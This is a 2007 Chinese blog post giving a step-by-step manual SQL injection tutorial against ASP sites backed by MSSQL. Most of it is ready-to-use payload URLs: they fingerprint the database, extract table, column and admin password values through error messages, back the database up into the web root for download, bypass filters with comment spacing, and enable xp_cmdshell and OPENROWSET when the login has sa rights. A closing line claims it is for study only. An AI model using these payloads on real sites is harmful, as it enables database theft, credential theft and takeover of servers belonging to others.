手工注入ASP+MSSQL网站
Posted in 搬家之前 on 7月 28th, 2007 by 飘(piao2010) – Be the first to comment首先是对通常注射参数类型的一些介绍:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:
select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ”=’ ,即是生成语句:
select * from 表名 where 字段=’连续剧’ and [查询条件] and ”=”
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
select * from 表名 where 字段like ‘%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25′=’,即是生成语句:
select * from 表名 where字段like ‘%’ and [查询条件] and ‘%’='%’
以下以数字型为例.其它类型请自行更改;
判断数据库是不是MSSQL;
①http://target/xx.asp?id=1 and (select count(*) from sysobjects)>0
②http://target/xx.asp?id=1 and (select count(*) from msysobjects)>0
①对②错一般是MSSQL.两个都错则是ACCESS;
http://target/xx.asp?id=1 and (select @@version)<0
返回得到MSSQL的版本信息;
③http://target/xx.asp?id=1 and db_name()>0
db_name()是另一个系统变量,返回的是连接的数据库名。
http://target/xx.asp?id=1 and user>0
当前连接的用户名;
sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
④http://target/xx.asp?id=1;backup database 数据库名 to disk=’c:\\inetpub\\wwwroot\\*.db’;–
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如[url=file://\\\\ipxx\\*.db]\\\\ipxx\\*.db[/url]),但成功率不高。
⑤ http://target/xx.asp?id=1 and (select top 1 name from sysobjects where xtype=’U’ and status>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
或者采用 And (Select Top 1 cast(name as varchar(8000)) from(Select Top N id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0,这段语句可以爆出数据库中第N个表的表名,可以从1,2,3一直爆,爆到第N个表和N+1个表一样的时候,就爆完了.
⑥ http://target/xx.asp?id=1 and (select top 1 col_name(object_id(’表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4…就可以逐个获取所猜解表里面的字段名。
补充一下:
暴出int型字段变量的解决:http://target/xx.asp?id=1 and (selest 字段名 from 表名 where 具体条件 and convert (int,字段名变量名bc’)>2)>0
另外/**/跟空格的作用一样,有的时候可以过一些过滤;对关键字进行大小写转换有时也可以绕过一些过滤.
mssql2005默认没有开xp_cmdshell的,openrowset也不能用
如果是sa权限,可以这样来开启
开启openrowset
/**/sp_configure/**/’show/**/advanced/**/options’,/**/1;RECONFIGURE;–
/**/sp_configure/**/’Ad/**/Hoc/**/Distributed/**/Queries’,/**/1;RECONFIGURE;–
开启xp_cmdshell
EXEC/**/sp_configure/**/’Ad/**/Hoc/**/Distributed/**/Queries’,1;RECONFIGURE;–
EXEC/**/sp_configure/**/’show/**/advanced/**/options’,1;RECONFIGURE;EXEC/**/sp_configure/**/’xp_cmdshell’,1;RECONFIGURE;–
网上还有一种方法对数据库猜解:
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0–
爆表语句,somedb部份是所要列的数据库
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0–
爆字段语句,爆表admin里user=’icerover’的密码段
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user=’icerover’/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0–
本文仅供学习研究,请勿用于任何不法行为,否则后果自负!